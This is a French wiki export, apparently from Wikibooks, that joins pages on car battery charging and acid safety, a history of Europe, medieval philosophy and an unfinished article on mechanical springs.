(électricité)|batterie]] n’est pas toujours évident, il faut utiliser un chargeur de qualité et calibré avec des échelles le plus bas possible. De plus il existe deux types de chargeur, le type à charge lente et l’autre à charge rapide. Le chargeur rapide est destiné au dépannage, par exemple quand une [[Batterie (électricité)|batterie]] a été sollicitée à maintes reprises lors de démarrage pendant des tests. Le chargeur lent est préférable pour une charge de [[Batterie (électricité)|batterie]] neuve ou complètement déchargée. Pour les [[Batterie (électricité)|batterie]] sans entretien, il est préférable de choisir un chargeur à [[tension]] variable lorsqu’elles sont déchargées depuis une longue période. Le chargeur idéal doit pouvoir produire conséquemment suffisamment de [[tension]] (jusqu’à 25 [[volt]]s) pour franchir la résistance créée par le dépôt de [[sulfate]]. Ces dépôts créent une résistance entre les plaques, la [[tension]] accrue entamera le processus de la recharge de la [[Batterie (électricité)|batterie]]. Les [[Batterie (électricité)|batterie]] sans entretien qui ne conservent pas leur [[volt|voltage]] au-dessus de 12.8 v doivent être remplacées. Le temps de charge nécessaire à la [[Batterie (électricité)|batterie]] dépend donc de son [[volt|voltage]]. C’est important de bien choisir le chargeur de [[Batterie (électricité)|batterie]], il doit être protégé contre la surtension et être équipé d’un régulateur de [[volt|voltage]]. L’[[ampère|ampérage]] devrait être calibré par échelle d’un demi [[ampère]] à 30 [[ampère]]s. Pour une meilleure charge, la plus petite valeur sur la durée de temps maximum est celle qui donnera le meilleur rendement à la [[Batterie (électricité)|batterie]]. ==Conseils de sécurité== *Ne pas fumer ou produire des étincelles près de la [[Batterie (électricité)|batterie]] pendant la charge *Garder les bouchons en place spécialement quand la [[Batterie (électricité)|batterie]] est en charge. *Interrompre avant la fin de charge entraînera une perte de capacité et une usure prématurée de la [[Batterie (électricité)|batterie]]. *Ne pas utiliser un outillage non adapté : risques d’accident et d’explosion. *Ne pas oublier de laisser refroidir la [[Batterie (électricité)|batterie]] pendant trente minute après une charge. Ensuite contrôler la [[tension]]. Voir aussi : [[Charge_de_la_batterie]] {{ChargeBatterie}} Précautions à prendre lors de la charge d'une batterie 1167 12813 2004-12-02T02:20:28Z Tipiac 9 ;[[Manipulation]] des [[batterie|batteries]] [[automobile|automobiles]] Charger la batterie dans une aire désignée bien ventilée. Ne pas recharger une batterie gelée. Suivre les recommandations du fabricant sur les vitesses de charge, les connexions et les bouchons de ventilation Débrancher ou fermer le chargeur avant de fixer ou de retirer les cosses de connexion. Fixer soigneusement les cosses en respectant la polarité. Rincer la batterie et nettoyer les bornes avant de la recharger. Remplir la batterie d'acide sulfurique (d'électrolyte) au niveau prescrit avant de la charger afin de réduire les risques de surchauffe de l'électrolyte. Si de l'eau est ajoutée, utiliser de l'eau distillée, non de l'eau du robinet. Éteindre le chargeur avant de déconnecter les câbles de la batterie. Il faut débrancher d'abord la borne (-), puis la (+). {{ChargeBatterie}} Image:Densitétable.gif 1168 12814 2004-12-02T02:06:45Z Tipiac 9 GFDL {{GFDL}} http://fr.wikipedia.org/wiki/Utilisateur:Archambaultluc37 Vérifier la densité de l'électrolyte 1169 12815 2004-12-02T02:20:10Z Tipiac 9 {{ChargeBatterie}} ;[[Utilisation]] des [[Batterie|batteries]] [[automobile|automobiles]] ;1 - Batterie avec entretien Environ une fois par mois, ou tous les 15 jours en saison chaude, vérifier le niveau d'acide dans la [[batterie]]. Celui-ci ne doit pas dépasser le repère ; un niveau d'acide trop bas peut provoquer une sulfatation des plaques, un niveau trop haut est à l’origine de débordements, ce qui a pour conséquence une perte d’autonomie et une détérioration des éléments extérieurs. Le niveau dans chaque élément doit se situer entre les traits « max » et « mini ». Si nécessaire, compléter uniquement avec de l'eau distillée. L'état de charge de la batterie peut être déterminé en mesurant la densité de l'[[électrolyte]] à l'aide d'un [[pèse-acide]]. Mesurer cette densité dans chaque élément après avoir retiré les bouchons. Il est important de bien choisir le type d’électrolyte pour assurer la pleine capacité d’une batterie. Pour ce faire, on pèse l’acide pour déterminer sa concentration. L’électrolyte diffère s’il est destiné à une batterie avec ou sans entretien. La densité de l’acide destiné aux batteries avec entretien se situe entre 1,265 et 1,280 contre 1,320 pour celles sans entretien, la température de base pour ces valeurs doit être de 26,7 degrés centigrades. [[Image:Densitétable.gif]] Pour effectuer la vérification, il suffit de se procurer un pèse-acide. Il est important de rincer l’outil dans de l’eau après chaque utilisation. Souvent, avant de recharger une batterie, le niveau de liquide est en bas de la ligne du niveau minimum. Attention ! Il ne faut jamais ajouter de l’acide dans une batterie qui a servi. Ajouter seulement de l’eau distillée pour compléter le niveau de la batterie, toute autre eau peut contenir des sédiments calcaires et autres. Ces sédiments causeront à court ou à long terme des dommages à la batterie et entraîneront sa destruction. Ne pas oublier d’attendre 30 minutes après la charge avant de faire le test de la densité. ;2 - Batterie sans entretien Pour les batteries sans entretien, il ne faut pas essayer de vérifier leur état avec un [[hydromètre]]. Ne pas tenter de retirer le couvercle scellé après avoir mis une batterie en service. L’[[acide]] utilisé pour les batteries sans entretien est différent de celui avec entretien. Pour cette raison, n’utiliser que l’acide fourni par le manufacturier de la batterie sans entretien. La quantité d’acide prévue par le [[manufacturier]] est calculée avec précision, il ne faut donc pas en ajouter, même si l’on ne voit pas le niveau. L’acide est absorbé par les plaques. L’addition de liquide supplémentaire endommagera la batterie de manière permanente et peut même causer des dommages au véhicule et des blessures au conducteur. {{ChargeBatterie}} En cas de projection d'acide dans les yeux ou sur la peau 1170 12816 2004-12-02T02:20:51Z Tipiac 9 ;Attention à la [[manipulation]] des [[batterie|batteries]] [[automobile|automobiles]] : ;En cas de projection dans les [[yeux]] : • Utiliser une douche d'urgence ou une douche oculaire. • Rincer immédiatement les yeux à l'aide d'eau propre, tiède et à faible débit pendant au moins 20 à 30 minutes tout en gardant les paupières ouvertes. • Si l'irritation persiste, répéter la procédure de rinçage. Une solution saline neutre peut être utilisée. • NE PAS INTERROMPRE LA PROCÉDURE DE RINÇAGE. Au besoin, s'assurer que le véhicule d'urgence demeure disponible. • Prendre soin de ne pas introduire de l'eau de rinçage contaminée dans l'œil non touché ou sur le visage. • Les personnes qui aident à donner les premiers soins devraient éviter tout contact direct. Au besoin, elles devraient porter des gants de protection contre les produits chimiques. • Transporter immédiatement la victime dans un centre médical d'urgence. Laver immédiatement à grande eau toute partie du corps qui a été en contact avec de l'acide. ;En cas de projection sur la [[peau]] : • Rincer dès que possible la partie du corps contaminée à l'aide d'eau tiède à faible débit pendant au moins 20 à 30 minutes. • Si l'irritation persiste, répéter la procédure de rinçage. NE PAS INTERROMPRE LA PROCÉDURE DE RINÇAGE. Au besoin, s'assurer que le véhicule d'urgence demeure disponible. • Sous le jet d'eau, retirer les vêtements, les chaussures et les articles en cuir contaminés (bracelet de montre, ceinture). • Transporter immédiatement la victime dans un centre médical d'urgence. Éliminer les vêtements, chaussures et articles en cuir contaminés. {{ChargeBatterie}} Les interdits des batteries 1171 12817 2004-12-02T02:20:44Z Tipiac 9 {{ChargeBatterie}} ;Les [[interdit|interdits]] des batteries [[automobile|automobiles]]! Cet article liste '''ce qu'il ne faut pas faire avec une batterie'''. - NE PAS: Surcharger la [[batterie]] en [[tension]] ou en [[courant]]. - NE PAS: Démarrer avec des pinces. - NE PAS: Laisser la batterie déchargée. - NE PAS: Décharger la batterie profondément. (Une batterie complètement déchargée perd définitivement 10% de sa capacité). - NE PAS: Stocker la batterie au froid et à l'humidité. - NE PAS: Inverser les connexions (+ à la place du -). - NE PAS: Démarrer les phares allumés. - NE PAS: Faire tomber une batterie ou l'incliner (Danger: attention aux fuites d'[[électrolyte|électrolytes]]). - NE PAS: Utiliser un chargeur inadapté à la batterie. {{ChargeBatterie}} Stockage des batteries 1172 12818 2004-12-02T02:20:40Z Tipiac 9 {{ChargeBatterie}} ;[[Stockage]] des [[batterie|batteries]] [[automobile|automobiles]]: Si le véhicule reste immobilisé pendant une période assez longue (plusieurs semaines), déconnecter la batterie (toujours commencer par la borne -) et après l'avoir chargé, la stocker dans une endroit tempéré et sec. Recharger la batterie tous les mois, car elle se [[décharge]] naturellement. {{ChargeBatterie}} Actions à mener après la manipulation d'une batterie 1173 12819 2004-12-02T02:20:37Z Tipiac 9 {{ChargeBatterie}} Étant donné qu'une [[Batterie (électricité)|batterie]] est dangereuse sur le plan chimique, plusieurs régles sont à respecter. *Bien rincer les gants avant de les retirer. *Rincer ensuite le tablier afin d'éliminer l'[[acide]] qui pourrait l'avoir contaminé. *Se laver avec du savon et de l'eau. Neutraliser toute solution d'[[acide sulfurique]] qui aurait put se déverser ou ou être projetée avec une solution de [[bicarbonate de soude]], et rincer la partie du corps touchée avec de l'eau propre. {{ChargeBatterie}} Vérifier le système de charge-batterie 1174 34753 2006-02-25T18:30:32Z Greudin 1 w: liens rouges ;[[w:Utilisation|Utilisation]] des [[w:batterie|batteries|]] [[w:automobile|automobiles]] La puissance du système de charge est conçue pour fournir la demande de l’équipement électrique. Pour vérifier si votre système de charge fonctionne correctement, il est indispensable que votre batterie soit complètement chargée. Une fois cette étape franchie, à l’aide d’un voltmètre calibré en courant continu, brancher les fils du voltmètre en respectant la polarité. Le fil rouge va sur la borne positive qui est identifié par un signe +, brancher ensuite le fil noir sur la borne négative le signe -. Il est préférable de toujours suivre cet ordre afin d’éviter des courts circuits. Mettre le véhicule en marche et observer le voltage de charge, à ce moment il devra être entre 14 et 14.5 [[volt|volts]]. Si le voltage dépasse ces mesures, il est possible que votre système de charge soit endommagé et qu’il y a surcharge. Il existe certains signes apparents d’une surcharge, la batterie chauffe anormalement, elle bouillonne (formation de bulles) et le redresseur régulateur est anormalement chaud. Dans l’un de ces cas, il est important de faire vérifier votre véhicule par votre mécanicien le plus rapidement possible. Pour maintenir un système de charge en bon état, garder votre batterie en parfait état. {{ChargeBatterie}} Modèle:ChargeBatterie 1176 12822 2005-01-05T17:26:25Z Pulsar1 149 {| align="center" style="width:80%; background-color:#f7f8ff; border:2px solid #8888aa; text-align:center; padding:5px;" |- | Cet article est en cours de réécriture, merci pour votre patience. | Cet article fait partie de la série sur la [[Charge de la batterie|charge des batteries automobiles]].<br/> [[Avertissement et sécurité dans la manipulation des batteries]] - [[Vérification et entretien de la batterie]] - [[Suivre l'entretien d'une batterie]] - [[Test capacitif d'une batterie]] - [[Vérifier la densité de l'électrolyte]] - [[Précautions à prendre pour remplir une batterie]] - [[Consignes de sécurité pour manipuler l'électrolyte]] - [[Méthode de charge d'une batterie]] - [[Précautions à prendre lors de la charge d'une batterie]] - [[Vérifier le système de charge-batterie]] - [[Actions à mener après la manipulation d'une batterie]] - [[Stockage des batteries]] - [[Les interdits des batteries]] - [[En cas de projection d'acide dans les yeux ou sur la peau]] |} Image:Carteeuropa.jpg 1177 12823 2004-12-03T09:49:57Z Topf 124 == Description == carte de l'europe (Diercke Schulatlas ~1933) == Source == archives --[[Utilisateur:Topf|Topf]] == Licence == Domaine Public Image:Masaccio.jpg 1178 12824 2004-12-03T08:52:36Z Topf 124 Masaccio Masaccio Image:180px-Europa-Zeus-LDS.jpg 1179 12825 2004-12-03T10:00:39Z Topf 124 europe emporté par Zeus. == source == wikipedia en == License == domaine public Modèle:Français 1181 24485 2005-10-28T18:26:45Z Erasmus 194 <!-- Lisez la page de discussion avant de modifier ce modèle --> {| align="center" style="text-align:center" cellpadding="6" cellspacing="0" |- | colspan="6" bgcolor="#80C2D2" | [[Français]] |- | bgcolor="#B0BEC8" | [[Français/Orthographe|Orthographe]] | bgcolor="#B0C8C6" colspan="3"| [[Français/Syntaxe|Syntaxe]] | bgcolor="#8C7C7C" | [[Français/Sémantique|Sémantique]] | bgcolor="#C1D3BA" | [[Français/Littérature|Littérature]] |- | bgcolor="#B0BEC8" | [[Français/Conjugaison (formes verbales)|Conjugaison (formes verbales)]] | bgcolor="#B0C8C6" | [[Français/Petits trucs|Petits trucs]] | bgcolor="#B0C8C6" | [[Français/Nature|Nature]] | bgcolor="#B0C8C6" | [[Français/Fonction|Fonction]] | bgcolor="#8C7C7C" | [[Français/Rapports de sens|Rapports de sens]] | bgcolor="#C1D3BA" | |- |} [[Catégorie:Français]] Modèle:Français Syntaxe 1182 25398 2005-11-11T23:51:33Z Esope 99 correction liens {| tablespacing="20" cellspacing="0" cellpadding="5" style="border:1px #AACCCC solid; margin=5px 5px 5px 10px; text-align:center" align="right" |- | bgcolor="#80C2D2" |[[Français]] |- | bgcolor="#B0C8C6" | [[Français/Syntaxe|Syntaxe]] |- | bgcolor="#B0C8C6" | [[Français/Petits trucs|Petits trucs]] |- | style="text-align:left;" | * [[Français/A et À|A et À]] * [[Français/ET et EST|ET et EST]] * [[Français/OU et Où|OU et Où]] * [[Français/ON et ONT|ON et ONT]] * [[Français/SON et SONT|SON et SONT]] * [[Français/CE et SE|CE et SE]] * [[Français/C'EST, S'EST, CES et SES|C'EST, S'EST, CES et SES]] * [[Français/ÇA et SA|ÇA et SA]] * [[Français/QUOIQUE et QUOI QUE|QUOIQUE et QUOI QUE]] |- |} Histoire de l'Europe:Chapitre 1 1184 12830 2005-04-29T14:21:07Z 82.66.170.134 == La préhistoire de l'Europe == Des fouilles réalisées ces dernières années en [[w:Géorgie (pays)|Géorgie]] puis en [[w:Bulgarie|Bulgarie]] permettent de dire que le genre ''Homo'' existe en Europe depuis environ 1,5 million d'années. Il est en effet probable que ses représentants aient peuplé l'Europe depuis le [[w:Caucase|Caucase]] en suivant la [[w:Danube|voie danubienne]]. On appelle ''anténéandertaliens'' les populations qui ont vécu en Europe entre 800 000 et 400 000 ans avant notre ère. Ils sont notamment représentés par l'[[w:homme de Tautavel|homme de Tautavel]] (- 450 000 ans), le « Français le plus ancien ». Les premières traces de peuplement [[w:Homme de Néanderthal|néanderthalien]] en Europe remontent à 300&nbsp;000 ans. Cette espèce humaine, très spécialisée, semble n'avoir existé qu'en Europe et au Proche-Orient. Elle a disparu il y a approximativement 35&nbsp;000 ans. L'homme moderne (dont les premières traces africaines remontent à 120&nbsp;000 ans) apparaît en Europe il y a 40&nbsp;000 ans, symbolisé notamment par l'[[w:homme de Cromagnon|homme de Cro-Magnon]]. {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 3 1185 27810 2005-12-28T13:41:04Z Jean-Jacques MILAN 114 /* Antiquité greco-romaine */ ortho == Antiquité gréco-romaine == C'est aux Grecs que l'on doit le mot ''Europe'', attesté pour la première fois au [[w:-500|VIe siècle avant J.-C.]] Il semble qu'il ait d'abord désigné la région continentale située au nord du golfe de Corinthe, puis les terres qu'ils découvraient peu à peu au nord du bassin méditerranéen. Le [[w:Europe fille d'Agénor|nom du continent]] semble être hérité de la [[w:mythologie grecque|mythologie grecque]]. Sur les rives de la Méditerranée, après l'essor de la [[w:antiquité grecque|Grèce]], vient celui de la civilisation [[w:antiquité romaine|romaine]]. Plus au nord se développent des civilisations [[w:protohistoire|protohistoriques]] : [[w:Celtes|Celtes]], [[w:Germain|Germains]] ... La constitution de l'Empire romain, puis le développement du christianisme, permettent une première ébauche d'unité européenne dont le centre politique et économique est la Méditerranée. La lente désagrégation de cet empire et son incapacité à résister aux incursions répétées des peuples barbares entraînent sa dislocation, puis l'effondrement de sa partie occidentale. Divers peuples germaniques s'emparent du pouvoir dans de nouvelles entités territoriales aux frontières mouvantes, préludes à la création des actuels états européens de l'ouest. À l'est, l'empire romain d'Orient, ayant fixé sa capitale à [[w:Constantinople|Constantinople]], subsiste et se transforme en un [[w:empire byzantin|empire chrétien d'Orient]], dont les habitants continuent à se considérer comme « Romains ». {{Histoire de l'Europe}} Histoire de l'Europe:auteurs 1186 38492 2006-03-21T14:03:29Z 82.244.80.175 --[[Utilisateur:Topf|Topf]] from wikipedia --[[Utilisateur:jonathaneo|jonathaneo]] de wiki aussi et aussi ici {{Histoire de l'Europe}} [[en:European History:Authors]] Histoire de l'Europe:Liens 1187 41850 2006-05-10T10:04:35Z 83.99.93.249 /* liens externes */ == liens wiki == :[http://en.wikibooks.org/wiki/European_History European History] (wikibook.en) :[http://fr.wikipedia.org/wiki/Europe Europe] (wikipedia.fr) == liens externes == *[http://www.ena.lu www.ena.lu] Des milliers de documents multimédias sur l'histoire de la construction européenne en libre accès {{Histoire de l'Europe}} Philosophie/Histoire de la philosophie/La philosophie médiévale 1188 47185 2006-07-03T08:26:19Z Guillaumito 46 [[Histoire de la philosophie - La philosophie médiévale]] déplacé vers [[Philosophie/Histoire de la philosophie/La philosophie médiévale]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie antique|'''1. Philosophie antique]]''' | width="34%" align="center"|'''2. La philosophie médiévale''' | width="33%" align="right"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' |} [[Image:Philosophie.jpg|right|190px]] == L'oubli de la philosophie médiévale == == L'essor des études sur la pensée médiévale au XIXe siècle == == La philosophie chrétienne == *Etienne Gilson *Jacques Maritain == La fin du monde antique == À la fin du Vème siècle, l'unité politique et culturelle du monde méditérrannéen est brisée. Les centres de culture disparaissent. La vie spirituelle commence à se transformer en religion du mystère : ainsi la vie intellectuelle se réfugia-t-elle peu à peu dans les communautés chrétiennes. Les problèmes philosophiques vont alors se poser d'après le destinée de l'homme telle qu'elle est conçue dans le christianisme. *Saint Augustin *Fauste de Riez *Claudien Mamert *Boèce *Cassiodore == La naissance de la culture médiévale (VIIe - Xe siècle) == == La renaissance du XIe siècle == La fin du XIe siècle est considérée comme un moment de reprise de l'activité intellectuelle en Occident ; ce renouveau coïncide avec la création d'ordre religieux qui copient de nombreux manuscrits. *La dialectique et la foi *Béranger de Tours * Pierre Damien *Saint Anselme de Cantorbery == Le XIIe siècle == *Essor des écoles urbaines == Les synthèses scolastiques (XIIIe siècle) == *L'université *Les Ordres mendiants == Le XIVe siècle == == Guillaume d'Ockham == == Bibliographie == *''La philosophie médiévale'', Alain de Libera Modèle:Histoire de l'Europe 1189 12835 2004-12-06T10:58:10Z Topf 124 <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#EEEEEE"> <tr> </div></td> <td style="background:#CCYEEE;vertical-align:top"> :retour au [[Histoire de l'Europe:sommaire|'''sommaire''']] :chapitres | [[Histoire de l'Europe:Introduction|Introduction]] | [[Histoire de l'Europe:Chapitre 1|1]] | [[Histoire de l'Europe:Chapitre 2|2]] | [[Histoire de l'Europe:Chapitre 3|3]] | [[Histoire de l'Europe:Chapitre 4|4]] | [[Histoire de l'Europe:Chapitre 5|5]] | [[Histoire de l'Europe:Chapitre 6|6]] | [[Histoire de l'Europe:Chapitre 7|7]] | [[Histoire de l'Europe:Chapitre 8|8]] | [[Histoire de l'Europe:Chapitre 9|9]] | [[Histoire de l'Europe:Chapitre 10|10]] | [[Histoire de l'Europe:Chapitre 11|11]] | [[Histoire de l'Europe:Chapitre 12|12]] | [[Histoire de l'Europe:Chapitre 13|13]] | [[Histoire de l'Europe:Chapitre 14|14]] | [[Histoire de l'Europe:Chapitre 15|15]] | [[Histoire de l'Europe:Chapitre 16|16]] | [[Histoire de l'Europe:Chapitre 17|17]] | [[Histoire de l'Europe:Chapitre 18|18]] :annexes | [[Histoire de l'Europe:Glossaire|Glossaire]] | [[Histoire de l'Europe:Bibliographie|Bibliographie]] | [[Histoire de l'Europe:Liens|Liens]] | [[Histoire de l'Europe:auteurs|Auteurs]] :catégorie | [[Histoire]] > [[Histoire de l'Europe]] </td> </tr> </table> Histoire de l'Europe:Chapitre 2 1191 27758 2005-12-27T19:39:52Z Chirosophe 728 == Les Celtes == {{Histoire de l'Europe}} Histoire de l'Europe:Introduction 1192 29122 2006-01-16T22:48:33Z CR 154 ortho {{Histoire de l'Europe}} == Géographie == L'Europe, dans son assertion continentale, est traditionellement délimitée par ses frontières maritimes au Nord, au Sud, et à l'Ouest et par la chaine de l'Oural (Russie) à l'Est. Le détroit du Bosphore marque la frontière naturelle avec l'Asie mineure. Les Îles britanniques, l'Islande, les îles francaises, italiennes, grecques et illyriennes de Méditerranée sont parties intégrantes de l'Europe géographique. L'Europe est l'un des cinq continents du globe terrestre. Ressort 1194 40985 2006-04-26T17:31:40Z 82.238.41.230 /* Caractéristiques générales des ressorts */ [[da:Fjeder]] [[de:Feder (Technik)]] [[en:Spring (device)]] [[ja:ばね]] [[sl:Vzmet]] <div align="center" style="border: 1px solid #6f8f9f; background-color: #EAF5FB" > '''Le problème des ressorts est l'un des plus complexes qu'ait à traiter le mécanicien. La recherche de lois de déformation spécifiques, la connaissance des matériaux, de leurs traitements et de leurs modes de dégradation, la mise au point de procédés de fabrications efficaces et stables, sont au programme.''' </div> == Introduction == Les '''ressorts''' sont des composants élastiques très répandus dans toutes sortes de machines et d'équipements. En raison de leur souplesse, ils diffèrent radicalement des autres pièces mécaniques dont on cherche, au contraire, à limiter les déformations sous charge. Attention au terme '''« déformation »''' ! Il ne faut pas confondre la déformation d'un élément de volume infiniment petit, tel qu'on le conçoit en résistance des matériaux, et la déformation globale d'un ressort, c'est-à-dire un changement de forme qui se traduit, dans les cas les plus simples, par le déplacement d'une de ses extrémités par rapport à l'autre. On peut attendre des ressorts : * qu'ils se déforment d'une certaine façon sous l'effet des charges qu'ils subissent * ou qu'ils fournissent certains efforts lorsqu'on leur impose une déformation. Ces deux modes de travail ne sont pas équivalents, en particulier pour les ressorts qui, en raison de leur forme ou de leur montage, possèdent plusieurs positions stables de repos. Un ressort que l'on déforme emmagasine une énergie mécanique qui peut être restituée, idéalement en totalité, lorsque la déformation cesse. Naturellement aucun ressort n'est parfait et une fraction plus ou moins importante de cette énergie est perdue lors des cycles de fonctionnement. L'un des premiers ressorts inventé par l'homme n'est autre que l'[[w:arc|arc]], une pièce de bois courbe et élastique bien plus efficace que le bras pour lancer à grande vitesse les flèches utilisées pour la chasse ou pour la guerre. Des peintures rupestres attestent que l'homme a inventé cette arme voici plus de 10000 ans. [[Image:2006-02-04 Metal spiral.jpg|thumb|300px|Slinky, le ressort qui descend les escaliers]] De nos jours, les ressorts assurent toutes sortes de fonctions, par exemple : * rappel d'une pièce écartée de sa position d'équilibre (portes battantes type « saloon », appareils de mesure), * maintien d'un serrage (pince à linge), * suspension des véhicules (ressorts à lames, ressorts hélicoïdaux, systèmes hydropneumatiques), * émission de sons (boîtes à musique), * répartition de charges (sommiers et matelas à ressorts), * accumulation d'énergie (moteurs de jouets, de montres), * amortissement des chocs (tampons de matériel ferroviaire, systèmes antisismiques pour les bâtiments), * mesure et/ou consignation de la valeur d'un effort (clé dynamométrique), * compensation d'une charge ou d'un poids (hayon arrière de voiture, porte abattante de lave-vaisselle), * établissement ou coupure brutale de contacts électriques, * guidage de composants mécaniques sur de très faibles distances, en évitant les effets aléatoires des frottements « secs » (capteurs, microrupteurs). * application d'un effort dans un but thérapeutique (appareils orthodontiques, stents utilisés en chirurgie pour maintenir l'ouverture des artères ou d'autres cavités de l'organisme), * jouets et objets décoratifs (les longs ressorts très souples « Slinky » [http://inventors.about.com/library/inventors/blslinky2.htm] qui descendent les escaliers), * etc. == Généralités == Les ressorts sont souvent considérés à tort par les bureaux d'études comme de simples accessoires dont on ne se préoccupe qu'une fois les projets achevés. Dans ces conditions, les concepteurs sont alors contraints de leur donner des caractéristiques inadaptées aux besoins et incompatibles avec une bonne tenue en service. Une fois les mécanismes ou les machines assemblés et mis en service, on s'aperçoit alors que leur bon fonctionnement dépend uniquement de la durée de vie des ressorts. Grâce aux soins apportés à leur conception, à leur fabrication et à leur contrôle, les ressorts utilisés pour la suspension des véhicules comptent désormais parmi les composants les plus fiables, bien que les matériaux qui les constituent travaillent à des niveaux très proches de leurs limites. Du point de vue des modèles utilisés dans la [[théorie des mécanismes]], les ressorts n'introduisent aucun degré de liaison et n'interviennent jamais dans la nomenclature des pièces, par contre ils fournissent des efforts dont les caractéristiques sont a priori connues. On peut distinguer plusieurs grandes catégories de ressorts en fonction de divers critères, en particulier selon les matériaux utilisés, qui peuvent être des métaux, des élastomères, des matériaux composites ou encore des gaz. Nous sommes aussi dans un domaine où les idées reçues sont légion. Il faut remarquer aussi que l'introduction d'une certaine élasticité dans un mécanisme peut se faire à l'aide d'un ressort, composant séparé intervenant dans un assemblage, ou en concevant des pièces capables d'assurer, par la totalité ou par une partie seulement de leur matière, la fonction demandée. {| cellpadding="10" |- | [[Image:Ressort d' une pince a ongles.jpg|200px|center]] | Un ressort en feuillard, analogue à ceux qui équipent beaucoup de sécateurs, assure l'ouverture de cette pince à couper les ongles. L'outil est relativement cher, il doit résister à différentes agressions, à la chaleur, aux détergents, aux désinfectants, etc. et les divers éléments sont tous chromés. |- | [[Image:Pince a usage photographique.jpg|200px|center]] | Cette pince permet aux photographes d'accrocher les films pour les faire sécher après qu'ils ont été traités. Elle est munie d'un axe rudimentaire et de deux ressorts de torsion en hélice cylindrique, les cinq pièces sont faites d'acier inoxydable. |- |[[Image:Pince a linge avec ressort.jpg|200px|center]] | Il existe de nombreux modèles de pinces à linge. Celle-ci est munie d'un ressort de compression en hélice cylindrique et ses deux branches relativement rigides sont reliées par une « toile » plus mince qui joue le rôle d'un axe d'articulation semi-élastique. |- |[[Image:Pince a linge deformable dans la masse.jpg|200px|center]] | Cet autre modèle de pince à linge, à la fois plus simple et plus solide que le précédent, est peut-être moins commode à l'usage. Cette fois c'est la pièce elle-même qui se déforme et joue le rôle de ressort, il n'y a plus à réaliser qu'une seule forme moulée et l'assemblage est supprimé. |- | [[Image:Pince a epiler.jpg|200px|center]] | Bien qu'elle paraisse faite d'une seule pièce, cette pince à épiler comporte en réalité deux ou trois éléments assemblés par brasage. Les branches sont relativement rigides mais leurs bases amincies jouent le double rôle de ressorts et d'articulation. Pour pallier leur trop forte flexibilité qui risquerait de faire dévier leurs extrémités, l'une des branches est munie d'un ergot à bout conique qui s'engage, lorsque l'on serre, dans le trou dont est percée l'autre branche. |- |} == Caractéristiques générales des ressorts == === Lois de comportement === Bien que le comportement linéaire soit le plus fréquemment recherché, par facilité ou pour de vrais impératifs techniques, les lois qui relient les déformations globales des ressorts aux efforts qui leur sont appliqués sont beaucoup plus variées que ce que l'on pense généralement ; tout l'art des concepteurs et des fabricants de ressorts consiste à les adapter le mieux possible aux besoins ! '''Dans le cas du comportement linéaire''', la courbe qui représente le résultat de sa déformation d'ensemble (translation ou rotation) en fonction de l'effort appliqué (force ou moment) est une droite. La flèche f ou la rotation θ est alors proportionnelle à la force P ou au couple C qui l'a provoquée. La '''raideur''' d'un ressort est définie comme le quotient : <math>k = \frac P f</math> (N/m) ou <math>k = \frac C \theta</math> (Nm/radian). Une raideur indépendante de la charge correspond au comportement linéaire décrit par la loi de Hooke. L'inverse de la raideur, 1/k, est la '''souplesse''' ou '''compliance'''. '''Nota''' : ne pas confondre les deux termes '''raideur''' et '''rigidité'''. Même s'ils sont plus ou moins interchangeables dans le langage courant, du point de vue technique la raideur s'applique aux pièces tandis que la rigidité caractérise les matériaux. {| border="1" cellpadding="3" cellspacing="0" |- | '''Comportement vraiment linéaire :''' </br> oublions les idées reçues, il est « l'exception qui confirme la règle ».</br>► Les ressorts les plus proches de ce modèle sont la '''barre de torsion''' et le '''ressort spiral à grand nombre de spires encastré aux extrémités'''. Ce dernier fut largement utilisé en horlogerie et pour la construction d'instruments de mesure. Sa fabrication <u>très</u> spéciale nécessite un savoir-faire qui relève souvent du secret industriel. Peu d'entreprises sont aujourd'hui capables de fournir des ressorts spiraux de qualité.</br>► Le dictionnaire dont provient la gravure date de 1883, la montre du début du XXe siècle (Tribaudeau à Besançon, spiral Breguet). Ce sont de précieux souvenirs de famille. On notera le dispositif qui permet de modifier la fréquence des oscillations du balancier en réglant la longueur libre du ressort. | [[Image:Deformation des ressorts 01.png|175px|center]] | [[Image:Balancier avec ressort spiral.png|200px|center]]</br> [[Image:Montre Tribaudeau Besancon 01.jpg|200px|center]] |- | '''Comportement « à peu près linéaire » :''' </br> c'est celui de très nombreux ressorts industriels. </br>La loi de Hooke s'applique assez bien aux petits volumes élémentaires de matière qui constituent les ressorts mais, sauf exceptions, elle rend compte très mal (ou pas du tout) de leur comportement global. Ainsi, par exemple, la raideur d'un ressort de traction augmente quand le fil se redresse.</br> <big>▼▼▼▼▼</big></br> Il existe une '''énorme dispersion des caractéristiques mécaniques''' lors des fabrications en série. Pour les ressorts hélicoïdaux, les plus courants, le simple fait de changer de botte de fil machine peut engendrer des variations considérables de la longueur, du diamètre d'enroulement et surtout de la raideur. Dans un lot de ressorts de qualité courante théoriquement identiques, il n'est pas rare de voir celle-ci varier de 20 % en plus ou en moins par rapport à la moyenne. '''Dans ces conditions, un défaut de linéarité de 5 % devient négligeable''' ...</br></br>► En fait, pour beaucoup d'applications, on n'a pas besoin d'une loi de déformation précise et par facilité on choisit la loi linéaire, qui est la plus simple, sans se poser trop de questions. | [[Image:Deformation des ressorts 02.png|175px|center]] | [[Image:Ressort de compression.jpg|200px|center]] </br> </br>[[Image:Ressort de traction a spires non jointives.jpg|200px|center]]</br> </br>[[Image:Ressort en forme de cadre.jpg|200px|center]] |- | '''Comportement « à peu près linéaire décalé » :''' </br>il est bien illustré par le ressort hélicoïdal de traction à spires jointives : une torsion du fil lors de l'enroulement fait que les spires s'appliquent fortement les unes contre les autres, il faut donc exercer une force de traction suffisante pour que le ressort commence à s'allonger comme un ressort à spires non jointives ; cette solution permet de diminuer notablement l'encombrement. | [[Image:Deformation des ressorts 03.png|175px|center]] |[[Image:Ressort de traction à spires jointives.jpg|200px|center]] |- | '''Comportement délibérément non linéaire :''' </br> bien des ressorts présentent une raideur variable en fonction de la charge qu'on leur applique.</br> Ainsi, plus les ressorts tronconiques s'affaissent, plus ils « durcissent ». Les spires de plus grand diamètre sont les plus souples, elles s'écrasent les premières et dans certaines configurations, on obtient un enroulement spiralé de très faible encombrement sous la charge maximale. 